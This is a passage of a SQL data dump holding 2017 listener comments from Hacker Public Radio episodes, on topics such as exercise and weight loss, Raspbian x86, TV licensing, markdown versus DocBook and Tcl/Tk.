(2099,2360,'2017-09-03 17:51:15','Kevin O\'Brien','Still have tradeoffs','While that would be an improvement, there would still be other tradeoffs to deal with.','2017-09-09 07:41:37'),
(2100,2361,'2017-08-21 16:38:30','Ken Fallon','Citation needed','I would just like to comment on the perception I picked up in the show that exercise leads to weight loss. The facts do not seem to support this. For the best video I was able to find on this topic, please see this VOX video https://www.youtube.com/watch?v=eXTiiz99p9o\r\n\r\n\"after studding 60 papers exercise is pretty useless when it comes to weight loss\" \r\n\r\nDr. kevin Hall says \"We need to re-brand exercise. Exercise isn\'t a weight loss tool per se, it\'s excellent for health and is probably the best single thing that you can do other than stopping smoking to improve your health. But don\'t look at it as a weight loss tool\".\r\n\r\nIn many cases exercise indirectly leads to eating more and thus more weight gain.\r\n','2017-09-09 07:41:37'),
(2101,2361,'2017-08-23 14:00:37','ClaudioM','Fantastic!','What a fantastic episode!  I found myself nodding my head so many times during this episode on what was said about exercise and weight loss.  I started my journey into fitness after so many years of not exercising and failing to keep it up after attempting to do so.  Initially, you have to start with a change in your state of mind.  I began to look at fitness as a long-term process of milestones, not as a means to an end or a \"goal\" in a determined period of time.  Once I did this, making it a routine was a lot easier for me to keep up.  I started with \"baby steps,\" doing 20-30 minutes of simple calisthenics.  After some time where I felt comfortable performing those exercises, I would push myself a little more each time, eventually increasing my workouts and the intensity.  While I didn\'t focus too much on the scale, I gradually noticed I was losing weight when I did weigh myself.  If I didn\'t lose weight that day, I wasn\'t disheartened because I had already set my mind that this was a long-term process and that I would lose it eventually, and I did.\r\n\r\nYou also need to think that you are doing this for _you_ and not for anyone else or any particular reason that isn\'t for you.  A better, healthier _you_ needs to be your motivation.  Once I started thinking this way as well, it gave me the enthusiasm to keep on going.\r\n\r\nI also changed my eating habits over time.  I found some information online stating that one should focus on eating foods with \"simple\" ingredients, meaning that it should be as unprocessed as possible.  The less ingredients shown, the quicker the body can process it and use it.  The more ingredients listed, the longer it takes and, depending on your intake, can end up being stored as fat.  Using this as a guideline, I moved away from a lot of the processed stuff to more natural foods, especially vegetables which I already loved but wasn\'t eating enough of.  If it had to come in a box, I made sure that it had as little ingredients listed as possible.  Sometimes, I\'ll eat wheat bran flakes or Honey Bunches of Oats, the former having less ingredients than the latter.  While both have less ingredients than other popular cereals on the market, I always choose simple oatmeal with some cinnamon and honey.  I also have eggs with spinach for breakfast, and sometimes even for dinner (this is my favorite plate thus far).  As far as sweets, I am taking in less sugar now than I used to.  I still have my coffee with cream and sugar at times (and very little at that), but I\'m also drinking it black more than before.  All of these changes along with my exercise routine have worked together to aid in my weight loss.\r\n\r\nI have been taking vitamin supplements but really it\'s just a simple multivitamin daily that you can get at any store.  It has helped boost my immune system and given my body the nutrients needed that I may not be getting naturally with my food intake.  I have added a couple of others that aren\'t included in the multivitamin supplement but only because I don\'t get enough of them from the foods I eat.  Remember, as the name implies, they are to _supplement_ what nutrients you are taking in daily (in other words, what you\'re not getting because of allergies/reactions to certain foods or availability of those foods).  It\'s also important to talk to your doctor and get informed on what you can and can\'t (or shouldn\'t) take when it comes to supplements.  In certain instances, certain vitamins/minerals can actually be harmful in large quantities.\r\n\r\nhttps://www.menshealth.com/nutrition/bodybuilding-mom-dies-from-too-much-protein-and-urea-cycle-disorder\r\nhttps://www.menshealth.com/nutrition/supplements-that-work-and-ones-you-should-skip\r\nhttps://www.menshealth.com/nutrition/best-foods-for-natural-health\r\n\r\nRegarding Ken\'s comment about weight gain and eating more, this is true but it needs to be taken in context.  As you continue training and working out, you are building muscle mass as you burn fat even though it\'s not visually noticeable.  This will affect what you see on the scale depending on your progress.  If you are weight-training or doing any high-intensity workout, you will notice that your appetite increases over time (this happened to me as well) and you may find yourself hungry after a workout even if you\'ve eaten prior.  This is normal because your body needs to replenish itself accordingly during the recovery process after such workouts.  The key here is to eat foods that are as healthy as they can be with as little processing as possible.  Carbs and protein provide energy before and after intense workouts, but they have to be healthy carbs and protein.  Fats are also good, but they must be \"healthy\" fats (unsalted roasted peanuts, avocados, etc.) and _in_moderation_.  While the video covers this near the end, it does so poorly in my opinion in ways that can be easily refuted as mentioned above and some of the examples given leave a lot to be desired.  Then again, 5 minutes can\'t cover everything.\r\n\r\nUltimately, this is what has worked for me and it was an \"evolutionary\" process in my fitness journey.  Everyone\'s different and every strategy will be different, but the core mentality and process is pretty much the same.','2022-02-14 13:18:00'),
(2102,2361,'2017-08-25 01:22:33','deepgeek','Cost Correction','My dip stand actually had a cost of $75 dollars. --- DG','2017-09-09 07:41:37'),
(2103,2362,'2017-08-26 00:07:11','Beeza','Raspbian X86 On Atom-powered Netbook','Hi Tony\r\n\r\nAfter listening to your episode I was inspired to try Raspbian X86 on an old Acer netbook which I use mainly as a media player. The Acer ran OK with Mint Xfce but was a bit slow to respond when opening and closing programs.\r\n\r\nAfter a clean install of Raspbian X86 the netbook definitely runs a bit faster than with Mint. I\'ve stripped out all the applications I don\'t need (i.e the programming, games and office components). Wi-fi worked out of the box and, unlike on your Lenovo, so did the audio.\r\n\r\nPixel will never win any prizes for sophistication but if you play around with the colours you can improve the default appearance somewhat. It certainly gets the job done.\r\n\r\n','2017-09-09 07:41:37'),
(2104,2362,'2017-08-26 12:13:27','Tony Hughes','Raspbian X86 On Atom-powered Netbook','Thanks Beeza, My next show in this short series which I\'ve not recorded yet will be the Acer One, 8Gig SSD. You could also record your experience for the listeners as we will be looking at different usage needs.  ','2017-09-09 07:41:37'),
(2105,2363,'2017-08-24 03:38:50','Frank','','This makes commercials look good.','2017-09-09 07:41:37'),
(2106,2363,'2017-08-24 16:05:47','Dave Morriss','I see your point, but...','Hi Frank,\r\n\r\nI see where you are coming from, but although dealing with bureaucracy like this today seems like a scene from Terry Gilliam\'s film \"Brazil\" (https://en.wikipedia.org/wiki/Brazil_(1985_film)), the tyranny of modern advertising seems to me to be completely horrific.\r\n\r\nAs a boy I read the science fiction story \"The Tunnel under the World\" by Frederik Pohl. In it the protagonist finds himself in a world filled with \"loud all-pervasive advertising jingles\" (see https://en.wikipedia.org/wiki/The_Tunnel_under_the_World). \r\n\r\nThat image has stuck with me all of my life, and has motivated me to avoid the dreadfulness of advertising in all of its forms - on TV, in cinemas, on the Internet and everywhere else I can.','2017-09-09 07:41:37'),
(2107,2363,'2017-08-25 16:07:20','Beeza','TV Detectors','The almost mythical TV detector vans did once exist (not that many people ever saw one). They could detect the interference sent out by the electromagnets on a CRT but, contrary to the propaganda, they could never tell what channel you were watching. If you lived in a block of flats they were all but useless at working out who did and did not have a TV.\r\n\r\nWhen home computers became commonplace, each with a big CRT monitor, the TV detectors were scuppered as they couldn\'t tell the difference between a TV and a PC.\r\n\r\nNow that we all have LED or LCD screens for our TVs and computers the concept of a reliable detector device, able to distinguish between the two is outdated. The UK TV licensing authorities rely on cross referencing addresses with license registrations to detect possible miscreants.','2017-09-09 07:41:37'),
(2108,2363,'2017-08-26 13:07:09','Tony Hughes','Cancelling my TV licence','Hi Dave\r\n\r\nThanks for the show, makes me think I should do one about a situation I\'m arguing with Virgin Media at the moment, I totally get your frustration potentially boiling over to anger sometimes particularly after you have had to wait 4-5 minutes to get through the auto menu to speak with a \'human\' only to be asked all the same questions again. And they wonder why we hate customer service desks so much, more like customer wind up desks I think.','2017-09-09 07:41:37'),
(2109,2363,'2017-08-26 22:05:36','Dave Morriss','Thanks for the input','Hi Beeza,\r\n\r\nI\'d enjoy seeing a TV detector van, but, as you say, they belong to an earlier time. Funnily enough the old TV I threw away was potential detector fodder, being a CRT. Your analysis of the situation clarifies it very well; talk of detectors was mainly propaganda.\r\n\r\nHi Tony,\r\n\r\nGood luck with Virgin Media. It seems that the vast majority of companies have implemented such revolting front-end systems these days.\r\n\r\nAs an aside, I long ago decided not to have anything to do with Virgin Media after they were revealed as being involved with a company called Phorm to perform deep inspection of Internet traffic so they could inject targeted advertisements. Other UK ISPs were also involved, such as BT and TalkTalk. See https://en.wikipedia.org/wiki/Phorm for details.','2017-09-09 07:41:37'),
(2110,2364,'2017-08-26 12:58:03','Tony Hughes','Managing Your Android with AirDroid','Hi Frank\r\n\r\nThanks for reminding me about this application, I\'ve used it in the past to transfer and manage data on my mobile but as it\'s something I need to do regularly I had forgotten about it. Definitely something that is useful if sometimes a little fiddly to get going initially. \r\n\r\n   ','2017-09-09 07:41:37'),
(2111,2364,'2017-08-26 20:56:11','Frank','','You are most welcome.\r\n\r\nThe main irritant I\'ve encountered is that, after a reboot, it reverts to the default \"copy to\" directly, whereas I want to put my podcasts in the Music directory so the player application sees them easily.  Once I got into the habit of double-checking the \"copy to\" directory setting, I kept it whipped into shape.\r\n\r\nI must say, the maintainers have improved it over the several years I\'ve been using it.','2017-09-09 07:41:37'),
(2112,2365,'2017-08-26 12:53:18','Tony Hughes','Rolling out a radio-based internet service in rural England','Hi Beeza\r\n\r\nThis was a great show, I\'m glad you decided to come back and record again. You made some interesting comments about the way we have a Free market (after many years of a monopoly) in telecoms here in the UK which provides good value for the majority but works against those that do not make a profitable market fort the suppliers of Internet services. \r\n\r\nJust a thought but did you investigate satellite Internet, I looked this up and it is expensive and seems to have quite strict data caps, but could be another way of getting a service if other options are not possible.     ','2017-09-09 07:41:37'),
(2113,2365,'2017-08-26 17:59:42','Frank','','This sounds very like the type of connection my brother has; he lives in a sparsely populated part of northeastern Virginia, USA.  He tells me that it is vulnerable to the vagaries of the weather, as he has lost his connection several times due to thunderstorms.\r\n\r\nhttps://signawave.com/wifi.asp','2022-02-14 13:18:00'),
(2114,2365,'2017-08-29 14:53:09','Beeza','Thanks for the comments','Hi Tony\r\n\r\nBefore my initial chance encounter with the radio based system I did look at satellite services, but they were seriously expensive even before setting a download limit I can live with. That was around 2014. I believe they have got a little bit cheaper since then but they remain a \"last resort\" option for all but the deepest pockets.\r\n\r\nHi Frank\r\n\r\nI can only speak from my own experience. Since the system was installed we\'ve had winds of > 70 mph, thick fogs, thunder and no shortage of heavy rain, but the connection has been unaffected as far as I can determine. \r\n\r\nThe network nodes all transmit with a multiple of the minimum power theoretically required to provide the service. That enables the signal to \"blast through\" bad weather. \r\n\r\nPerhaps where your brother lives there is a greater distance between the nodes which weakens the received signal.\r\n\r\nI\'ve just returned from Spain where I noted large numbers of internet service transceivers mounted on houses and apartments. I\'ve since discovered that outside urban areas it is pretty much the default delivery method.','2017-09-09 07:41:37'),
(2115,2366,'2017-08-19 20:04:00','Tony Hughes','hpr2366 Making Bramble Jelly','Hi\r\n\r\nSorry, I meant to say If you have a Jam Thermometer you can use that to find the jam/jelly point, but I use visual clues such as the rolling boil with small bubbles. Also it stands to reason that if sterilising the Jug in the oven it needs to be a heat proof one, otherwise use boiling water just before using. ','2017-09-09 07:41:37'),
(2116,2366,'2017-08-19 21:18:21','Dave Morriss','I adjusted your text','Hi Tony. I adjusted your original text regarding temperature in line with your comment, and left an \"Editor\'s Note\". You can also contact admin at hackerpublicradio.org if you need errors fixed.\r\nDave','2017-09-09 07:41:37'),
(2117,2369,'2017-08-31 00:41:21','Mike Ray','Noooo...don\'t stop buying and reviewing meters','Great show. I love the sounds of the bench...Bill ripping open little bags of probes, clicking battery compartments, slapping in the batteries, dropping the meter, the sounds of NY in the background. An audio feast. Please don\'t stop buying meters :-)','2017-09-09 07:41:37'),
(2118,2369,'2017-08-31 20:21:08','Dave Lee','Excellent show','Really enjoyed this.  I\'d love to know more about the oscilloscope in the photo!\r\n\r\nMore miniature geekery!\r\n\r\nOh, and I\'m likely to buy the 8008!','2017-09-09 07:41:37'),
(2119,2369,'2017-09-01 10:36:02','NYbill','Ambient Noise','Thanks Mike, \r\n\r\nYou know, I didn\'t notice any of the outside noises while I was recording. Only after did I notice them in Audacity. \r\n\r\nI just wish I remembered to plug in the mic with the wind screen. I don\'t like hearing the mic clip in the wind. ','2017-09-09 07:41:37'),
(2120,2369,'2017-09-01 10:38:33','NYbill','8008','Thanks Dave,\r\n\r\nYea, it seems like a capable little meter for the price.  Its been with my regular (small set) of tools in the laptop bag since the show. ','2017-09-09 07:41:37'),
(2121,2369,'2017-09-01 18:20:45','Mike Ray','Ambient noise and ASMR','Don\'t worry about the ambient noise, it was not intrusive. I think near the end there is the usual burst of a distant police/ambulance siren, which any city dweller can tune out. But that was not loud.\r\n\r\nThe day after this podcast and drooling over the sounds of beeps, clicks, tools, battery manipulations etc. which let me visualise the workbench so vividly, I heard mention of something called ASMR (automatic sensory meridian response), for which a lot of stuff is appearing on Youtube nowadays. It\'s sounds that generate a response that feels like a pleasurable tingling of the scalp, down the spine etc. The stuff on Youtube is all typified by women whispering, turning the pages of a book, drumming fingernails and stuff like that. But the workshop sounds and tthe infectious enthusiasm in your podcasts qualifies.\r\n\r\nMaybe I\'m more subject to this kind of stuff because I\'m blind, no idea, but the sound effects were great','2017-09-09 07:41:37'),
(2122,2369,'2017-09-01 22:07:27','NYbill','','I meant to reply to the scope comment, Dave. But, I was typing the above replies first thing in the morning, when I should have been driving to work. ;)\r\n\r\nYea, I don\'t think I\'ve mentioned that scope in past episodes. I\'ve had it for a couple of years now.  It could warrant a little review. (You\'ve a bit of Ken in you trying to pull another show out of people!)  he he...\r\n\r\nMike, the sounds you heard outside my window (Which I hear as I type) are Upstate New York. I\'m not in NYC.  but, I am in the suburbs of a city a little more north. ;) \r\n\r\n ','2017-09-09 07:41:37'),
(2123,2369,'2017-09-06 16:25:15','Not Verified','1','I had to laugh out loud when you went remote raiding for batteries. I\'m sure weve all done that more than once.\r\n\r\nHave you checked out any of the  ATMega328 based ESR component testers?\r\nI gave this one a try \r\nhttps://www.amazon.com/gp/product/B00OOQC2E8/ref=oh_aui_detailpage_o02_s00?ie=UTF8&amp;psc=1\r\nbased on the price and reviews. I got the one with th IC in  socket cause I tend to trash things.\r\nNifty unit.\r\nI know,,,,,do a show.?','2017-09-09 07:41:37'),
(2124,2369,'2017-09-06 22:28:00','NYbill','ESR tester kits.','Yes I have. I\'ve built two of them. The first I sold to a friend at our LUG for the cost of the kit. (They are worth the money and I was happy to solder up another.)\r\n\r\nhttps://media.gunmonkeynet.net/u/nybill/m/esr-tester/\r\n\r\nI even started recording an HPR on the unit. But, life got in the way. So yep, get one, build it up, and give us a review!  ;)','2022-02-14 13:18:01'),
(2125,2371,'2017-09-05 02:54:20','Frank','','I have a very selfish idea for a show--a tutorial based on moving HPR from http to https. \r\n\r\nSelfish because I need to do the same thing to stop Firefox\'s incessant  and--given the nature of my site, quite silly-nagging (it\'s not like I manage any personal information, after all, other than my own logon I mean really).  \r\n\r\nI have nothing but praise for my hosting provider\'s tech support--they have proven themselves to be real troopers--and generally find their help files actually helpful, but I must admit that, since I now have a VPS and I\'m all on my ownsome for managing something like implementing SSL, I am quite confused and unsure to what I must do.','2017-09-09 07:41:37'),
(2126,2374,'2017-09-07 20:05:07','jezra','splendid!','Thank you for the inspiration. Cabbage is now on my shopping list, and I will be making a batch this weekend. ','2017-09-09 07:41:37'),
(2127,2374,'2017-09-07 21:54:24','Tony Hughes','Splendid','Jezra, your welcome, it was other people freely sharing via You Tube and blogs that got me started so I thought I would share with the HPR community. As well as it tasting really good, it has health benefits as well. Win, Win in my book. \r\n\r\nBy the way after making your first batch, try adding a couple or 10 ;-) cloves of garlic in a future batch, the flavor is fantastic and you can eat the fermented garlic or use in other recipes.','2017-09-09 07:41:37'),
(2128,2388,'2017-09-02 05:05:39','Ken Fallon','Wasting shows again','Well if you must insist on wasting shows, then you get a series !\r\nhttps://hackerpublicradio.org/series.php?id=98\r\n\r\nAlso are you going to go back and rename the other shows ?\r\n\r\nhpr2115 :: Apt Spelunking 3: nodm, cmus, and parecord\r\nhpr1906 :: Apt Spelunking 2: tvtime, phatch, and xstarfish\r\nhpr1813 :: Apt Spelunking: surf, lightyears, and fbterm','2022-02-14 13:18:01'),
(2129,2371,'2017-09-10 15:47:11','Ken Fallon','We have gone live with the new comment system','Hi All,\r\n\r\nWe have gone live with the new comment system. \r\n\r\nKeep us posted if you notice anything weird on the site.\r\n\r\nKen.','2017-09-10 15:53:28'),
(2130,2356,'2017-09-10 20:37:41','sesamemucho','Thanks for pulling this together','This is just what I needed! I made some changes (raspberrypi.org is now using SHA-256 checksums, and I use losetup to avoid all that calculation). This script is on GitHub at: https://github.com/sesamemucho/pi-sdcard-setup\r\n\r\nThanks again.','2017-09-10 20:41:41'),
(2131,2371,'2017-09-12 05:13:18','dodddummy','In the US jelly is also clear and jam isn\'t.','Jelly is the clear/shaky stuff.  Jam is not clear and less shaky.  Jam and preserves are a bit harder to differentiate.  I\'ve lived all over the US and this difference between jam and jelly seems pervasive.','2017-09-12 07:18:05'),
(2132,2371,'2017-09-12 08:08:23','Dave Morriss','Jam versus jelly','Hi dodddummy,\r\n\r\nI had never heard the term \'Jam\' used in US English, though my experience is not broad.\r\n\r\nResearching, I found this:\r\n\r\n\" I bought a jar of raspberry jam. She made us jelly sandwiches.\"\r\n\r\nWhich implies the words jam and jelly are a little interchangeable!\r\n\r\nI have also believed that where UK English uses \'jelly\' which can refer to a jam with all the bits taken out (based on pectin) and a dessert made with flavoured gelatin, whereas US English uses \'jello\' for the latter.\r\n\r\nI may be wrong! Language is a moving target anyway!\r\n\r\nThanks for clarifying things.','2017-09-12 08:10:14'),
(2133,2376,'2017-09-12 17:10:57','A Porkchop','Communities','While all the specialized media makes it more difficult to find commonalities, the internet and forums like Reddit also make it easier to find other people that share interests.','2017-09-12 17:17:23'),
(2134,2378,'2017-09-13 02:36:01','Mike Ray','kramdown','I completely agree that it is impossible to write anything complex in markdown without resorting to HTML tags.\r\n\r\nFor me it\'s putting anchor tags around headings to provide in-page links.\r\n\r\nBut you should take a look at kramdown. Debian install:\r\n\r\napt-get install ruby-kramdown\r\n\r\nHas stuff that markdown doesn\'t, like tables, stuff like id and class attribs for css etc.\r\n\r\nAnd auto-generation of tables-of-contents','2017-09-13 07:34:40'),
(2135,2378,'2017-09-13 08:17:05','Florian','whats so hard about code in a list?','7 spaces makes sense, it\'s 3 for everything belonging to the same point on you list plus 4 for the code, see experiments on\r\nhttps://gist.github.com/0xf10e/91f021b82a2bc4586b235e8f56c31f92\r\n(Yeah, \"github-flavored\" markdown, but it\'s a common dialect these days)\r\n\r\nI still prefer three backticks, but I come from trac-wiki syntax via ReStructuredText to markdown and using single backticks for inline monospace but\r\n{{{\r\nCode here\r\n}}}\r\nin track still annoys me.\r\n\r\nI understand the additional value semantic markup has but in many cases it\'s nice but not necessary. \r\n\r\n-- sysadmin who never broke out into HTML in rst or markdown &hellip;','2017-09-13 08:31:55'),
(2136,2377,'2017-09-15 03:23:53','dodddummy','I know you said you didn\'t need this, but...','I was going to comment on your last show where you said you didn\'t think any processing was necessary.\r\n\r\nWhile I agree content is king, you might find this tip handy.  When I record in noisy environments, I record a few seconds without speaking to pick up the background noise.\r\n\r\nThe reason for this is so that you can use those seconds as a model for noise reduction in audacity.  Only takes a few seconds to process in audacity so it\'s not much more work. \r\n\r\nSince this is a common practice, did you try this?','2017-09-15 07:10:30'),
(2137,2380,'2017-09-15 03:15:31','dodddummy','Glad you posted','For some reason I hadn\'t considered this for older hardware. Thanks for the post and idea.','2017-09-15 07:10:30'),
(2138,2378,'2017-09-15 10:33:15','Klaatu','Kramdown','Had not heard of kramdown. I\'ll take a look at it, for kicks, because it sounds pretty good.','2017-09-15 11:02:30'),
(2139,2378,'2017-09-15 10:42:29','Klaatu','github markdown','I have found that Guthub markdown is a heck of a lot better than markdown.  In fact, it\'s so significantly better that I don\'t see why it\'s not merged into markdown yet, except that as far as I can tell markdown proper is unmaintained.  \r\n\r\nThe existance of Github-markdown reinforces my point:  markdown needed fixing.\r\n\r\nBut I agree; sometimes docbook is overkill and [github] markdown is a better choice. If I didn\'t say that in this or my previous episode,  I did mean to, but maybe I was blinded by docbook passion.','2017-09-15 11:02:30'),
(2140,2377,'2017-09-15 23:25:01','thelovebug','Great concept for a show... so I pinched it!','I managed to get the gist of what you were trying to say... although I don\'t believe that any level of processing would have been able to tidy up what was ultimately recorded.  I find that in noisy environments, a low gain recorder with the microphone nice and close to your mouth tends to make you heard much better.\r\n\r\nI\'ve just uploaded (what will be) episode 2400, where I basically pinch your idea, and drive the 28 miles into my work, and spend most of the time talking about the 14 cars I\'ve had! :-)\r\n\r\nWhen I recorded this show, the only thing I did was push the file through Auphonic to level it out, there was no noise reduction applied... and I do have a fairly noisy car.\r\n\r\nhttps://hackerpublicradio.org/eps.php?id=2400\r\n\r\nI would definitely like to hear another attempt from you at this! :-)','2022-02-14 13:18:01'),
(2141,2379,'2017-09-16 17:50:54','jezra','feedback!','I\'m not sure this episode is \"explicit\". Sometimes I forget if I swear or not. \r\n\r\nAnyway, the coop isn\'t always opening and closing properly, so today I am in the process of updating the code that controls the coop door. Testing has resulted in a massive amount of texts and emails.\r\n\r\nOh yea, and thank you Ken for the show notes. :)','2017-09-16 18:10:35'),
(2142,2379,'2017-09-18 08:40:44','Ken Fallon','We do what you ask :)','Hi jezra\r\n\r\nWe process the shows as per the instructions given to us by the hosts. In this case you marked your show as explicit on upload.\r\nhttps://hackerpublicradio.org/request_a_slot.php#Explicit\r\n\r\nWe never contact people who have marked their shows as Explicit as there is a large body of hosts that deliberately mark all shows as Explicit as a precaution or protest. https://hackerpublicradio.org/stuff_you_need_to_know.php#explicit\r\n\r\nWe have on occasion contacted hosts who have marked their shows as \'clean\' where we feel the show may not \"be considered inoffensive in every region of the world\". If it ever occurs and the host disagrees, we will put the case to the HPR Community Mailing List. hpr2210 :: On Freedom of Speech and Censorship describes the agreed approach to this topic.\r\n\r\nKen','2022-02-14 13:18:02'),
(2143,2380,'2017-09-18 07:53:56','Kleer Kut','Raspbian x86','I did the same thing with a very similar P4 computer. It does eat some electricity, but it is substantially faster and has more inputs and outputs than an original Model B Raspberry Pi. This could make for a more enjoyable experience learning to use a Pi since it can use USB persistence and be utilized on nearly any PC.\r\n\r\nSince most of the software is the same it could be a great way to make up for a a lack of funds to fill a classroom with Raspberry Pi machines. Nearly any donated PC that still runs could be made to work even cheaper than buying any of the Pi computers. People could rotate so if they want to experiment with the GPIO pins or other Pi specific components they can have a chance, while other won\'t have to sit around and wait for a Pi to become available.\r\n\r\nThe new version of Raspbian x86 Stretch should be coming out very soon.','2017-09-18 09:03:31'),
(2144,2381,'2017-09-19 00:43:51','gurdonark','good episode','The closest I come to gaming on the table-top is chess, and my on-line gaming life is more about casual FOSS games than PC gaming. But even as a non-gamer, I really enjoyed this episode. \r\n\r\nIt spoke to me because it reminded me how much I like science fiction novels better than science fiction on film. Like the tabletop games in your story, the power of imagination in a sci-fi story trumps, for me, even the most well-done special effects in a science fiction movie.\r\n\r\nYou make at least 7 good points here, in a show I found a good listen.','2017-09-19 07:06:27'),
(2145,2356,'2017-09-19 17:15:12','Ken Fallon','Fantastic','Brilliant cleanup job !.','2017-09-19 20:25:12'),
(2146,2379,'2017-09-20 22:01:31','jezra','force of habit?','It was probably \'force of habit\' that caused me to mark the show as \'explicit\' :)','2017-09-20 22:33:24'),
(2147,2364,'2017-09-21 03:18:17','Brenda J Butler','Run naked through the googleplex - haha','Loved that comment at 15 mins 7 secs, both because it is funny and because it is brings the point home.','2017-09-21 09:11:33'),
(2148,2384,'2017-09-21 11:40:22','sunzofman1','Still Thriving','Good to see HPR showing Slackware love ;-)','2017-09-21 12:03:44'),
(2149,2381,'2017-09-21 23:51:48','Shane Shennan','I like how you put that!','I enjoyed your comment about a GM being a person that has too much imagination for one person. Well put!','2017-09-22 07:20:13'),
(2150,2386,'2017-09-22 06:05:08','clacke','More */Tk','There\'s also a Ruby/Tk, and there used to be a Guile Tk (best frenemies!), but Guile Tk was deprecated and replaced with Guile GTK, which was then replaced with Guile Gnome.\r\n\r\nIt\'s pretty funny that although Python has to a large degree replaced Tcl out there, any system that includes a full Python also includes Tcl/Tk, because tkinter depends on Tcl/Tk and is part of Python stdlib.\r\n\r\nEven funnier, the proudest project of the Guile world, Guix, depends on Python (via graphviz via glib) and therefore Tcl.','2017-09-22 07:20:13'),
(2151,2358,'2017-09-25 19:07:38','Josh Huber KF6ZZD','Doppler shift of RF at terrestrial speeds','I liked the explanation of the Doppler effect\'s effect on radio freqeuencies. At 33:30, it was mentioned that at the speeds that satellites travel, the Doppler effect is noticeable, so much that you may have to adjust your RX frequency. And at the speed of car travel, which is very slow compared to RF propagation that the Doppler shift wouldn\'t play a role.\r\n\r\nI just have one nitpick, which that at car speeds, a measurable Doppler shift of RF signals indeed happens, even at GHz frequencies, and this is exactly how police radar works (commonly using RADAR way up in the 10 GHz or 24 GHz bands).  This is totally a nitpick, since we\'re probably not talking about a shift of more than a few kHz, and very few if any radios can tune in less than 10 kHz increments in UHF anyway.\r\n\r\nEnjoyed the show. Cheers.','2017-09-25 20:16:27'),
(2152,2376,'2017-09-27 02:09:08','Kevin O\'Brien','Great discussion','I loved this show. The only problem I had is that I wanted to be a part of the discussion! Well done!','2017-09-27 07:26:23'),
(2153,2388,'2017-09-27 18:24:52','jezra','hahah','You said \"Unicorn\" :)','2017-09-27 19:06:36'),
(2154,2386,'2017-09-28 12:19:52','Mad Sweeney','Tk is not accessible','rms started a flamefest when he posted to comp.lang.tcl in 1994;\r\nWhy you should not use Tcl:\r\nhttps://groups.google.com/forum/#!msg/comp.lang.tcl/7JXGt-Uxqag/3JBTj5I43yAJ\r\n\r\nI don\'t like Tcl for its stringly typed nature but Tk seems like a nice light-weight GUI toolkit; but, unfortunately, it doesn\'t work with screen readers on any platform so you should avoid using it unless you\'re just developing something for your own use.','2017-09-28 13:19:10'),
(2155,2386,'2017-09-28 14:45:20','clacke','rms flamefest','The flamefest you are referring to is the Tcl War linked in the show notes.\r\n\r\nThanks for the comment on the accessibility. That\'s good to know if you\'re building a serious UI. I guess it\'s another example of how Tcl/Tk hasn\'t quite left the 80s.','2017-09-28 14:48:03'),
(2156,2386,'2017-09-28 15:28:09','Mad Sweeney','Flamefest','Hi clacke,\r\nAh, I missed that. That\'ll teach me to listen at 4x speed.','2017-09-28 15:37:13'),
(2157,2385,'2017-09-28 18:07:32','b-yeezi','Impressive','Thank you for this episode. Once again, I am impressed by your knowledge of the healthcare system in the US, and love to hear your apolitical description.','2017-09-28 18:23:41'),
(2158,2385,'2017-09-29 10:18:12','Bob','More information','I am hope you can address some of the points brought up in \"Adam Ruins Everything - The Real Reason Hospitals Are So Expensive\" in a future episode. The video seems to challenge your arguments related to why health care is so expensive in the US. Their video and sources are here.\r\nhttps://www.youtube.com/watch?v=CeDOQpfaUc8\r\nhttps://www.trutv.com/shows/adam-ruins-everything/blog/adams-sources/adam-ruins-the-hospital.html\r\n\r\nI would also argue that it is possible to decrease the individual cost of equipment by increasing it\'s utilization. For example it common practice in European hospitals to run expensive equipment like MRI machines 24/7 to reduce the overall cost. \r\n\r\nIt is also possible to increase human utilization by concentrating skills in facilities dedicated to a given specialism. This is been done to great efficiency in India and there are facilities dedicated to, for example eye surgery, or heart treatments. This has proven to be extremely useful in attracting the best specialists from all over the world, because they are guaranteed to have a high throughput of patients in their dedicated field. This allows the facilities to train up many more specialists as there is a constant utilization of their skills.','2022-02-14 13:18:02'),
(2159,2381,'2017-10-02 05:18:45','klaatu','Thanks for the comments','Thanks gurdonark and Shane, glad you enjoyed the episode! The comparison between books and movies is such a great, meaty topic. Somebody ought to do a series on the subject.','2017-10-02 06:12:00'),
(2160,2384,'2017-10-02 05:50:47','klaatu','Slackware everywhere!!!','Could we start a series in which a Slackware user from each named nationstate (doesn\'t have to be acknowledged by the UN or any agency) checks in? Let\'s hear about Slack where ever it may occur!','2017-10-02 06:12:00'),
(2161,2302,'2017-10-06 05:38:34','clacke','nullglob in the wild','Happy to note that I have now used `shopt -s nullglob` professionally!\r\n\r\nNever do it in interactive shell though, and never `set -u` either. I did so by mistake, while trouble-shooting and making a careless copy and paste.\r\n\r\nAll kinds of prompt-rendering and tab-completion will fail loudly and hilariously.','2017-10-06 06:33:33'),
(2162,2378,'2017-10-06 06:22:55','clacke','Markdown','Markdown the specification and Markdown the Perl script came out in March 2004 [0] and were last updated in December [1] the same year. I think it\'s fair to assume that John Gruber considers it perfected for the use case he had in mind.\r\n\r\nAny further evolution of the language is now up to anyone who cares to implement a processor. There is nobody maintaining the language itself.\r\n\r\nI absolutely agree that it is pretty useless for anything bigger than a small README without resorting to HTML, but I don\'t think that\'s a big problem, and I don\'t think it makes Markdown meaningless. I used to write documentation in HTML, and I think replacing 95% of the HTML with Markdown makes it much nicer to work with.\r\n\r\nI wouldn\'t write a book in HTML, but there are those that have, using CSS3 print styling!\r\n\r\nBefore hearing your argument, If I were hypothetically to ever write a book, I would likely not even consider anything but LaTeX. But thanks to your episode, and you simply reminding me that DocBook is still out there, I might spare DocBook a look first. It was a good episode and your points are all valid. Thanks!\r\n\r\n[0] https://daringfireball.net/2004/03/introducing_markdown\r\n\r\n[1] https://daringfireball.net/projects/markdown/','2017-10-06 06:33:33'),
(2163,2378,'2017-10-06 06:08:18','clacke','SGML','You seemed unclear on what SGML is, so here\'s a quick summary:\r\n\r\nSGML, to tell a simplifying lie, is the idea of using tag names enclosed in less-than and greater-than characters to mark up text. The original DocBook is one application, HTML is another.\r\n\r\nXML is a further evolution of SGML, which both constrains and extends SGML to enable new ways of defining and working with applications of the format.\r\n\r\nThe counterpart of XML Schema in SGML is the DTD, the Document Type Definition, and the counterpart of XSL is DSSSL, which is a form of Scheme (yay!).','2017-10-06 06:33:33'),
(2164,2385,'2017-10-05 23:59:49','Kevin O\'Brien','Reply to b-yeezi','Thank you for the kind comment. I happen to have very strong opinions on what should be done, but in this series my primary goal was to be objective, and you are relieving me that I may have succeeded.','2017-10-06 06:33:33'),
